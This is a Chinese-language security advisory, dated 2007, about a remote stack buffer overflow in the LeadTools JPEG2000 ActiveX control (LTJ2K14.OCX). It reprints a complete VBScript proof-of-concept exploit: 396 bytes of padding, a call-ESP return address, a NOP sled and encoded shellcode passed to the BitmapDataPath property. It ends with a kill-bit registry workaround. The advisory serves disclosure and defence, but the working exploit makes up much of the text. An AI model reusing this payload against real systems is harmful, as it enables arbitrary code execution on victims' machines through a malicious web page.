安全研究

安全漏洞
LeadTools JPEG2000 ActiveX控件远程栈溢出漏洞

发布日期:2007-05-17
更新日期:2007-05-21

受影响系统:
LeadTools JPEG 2000 14.5.0.35
描述:
BUGTRAQ  ID: 24040

LeadTools JPEG2000插件是一套适用于所有LeadTools Windows工具包的附加控件,用于压缩JPEG图形文件。

LeadTools JPEG2000的LEADJ2K.LEADJ2K.140 ActiveX控件(LTJ2K14.OCX)在处理BitmapDataPath属性时存在栈溢出漏洞,如果用户受骗访问了恶意站点中的图形文件的话,就可能触发这个溢出,导致执行任意指令。

<*来源:shinnai (shinnai@autistici.org
  
  链接:http://secunia.com/advisories/25313/
        http://www.kb.cert.org/vuls/id/440112
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

-----------------------------------------------------------------------------------------------
MoAxB #18:
LeadTools JPEG 2000 COM Objejct (LTJ2K14.ocx v. 14.5.0.35) Remote Stack-Based Buffer Overflow

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
-----------------------------------------------------------------------------------------------

<object classid='clsid:00140020-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
  buff      = String(396, "A")

  get_EIP   = unescape("%EB%AA%3F%7E") 'call ESP (from user32.dll)

  nop       = String(16, unescape("%90"))

  shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
              unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
              unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
              unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
              unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
              unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
              unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
              unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
              unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
              unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
              unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
              unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
              unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
              unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
              unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
              unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
              unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
              unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
              unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
              unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
              unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
              unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

  egg       = buff + get_EIP + nop + shellcode + nop

  test.BitmapDataPath = egg
End Sub
</script>

建议:
临时解决方法:

* 为以下CLSID设置kill bit:

      {00140020-B1BA-11CE-ABC6-F5B2E79D9E3F}

或者将以下文本保存为.REG文件并导入:

      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{00140020-B1BA-11CE-ABC6-F5B2E79D9E3F}]
      "Compatibility Flags"=dword:00000400

厂商补丁:

LeadTools
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.leadtools.com/SDK/Raster/Raster-Addon-JPEG2000.htm

浏览次数:3094
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障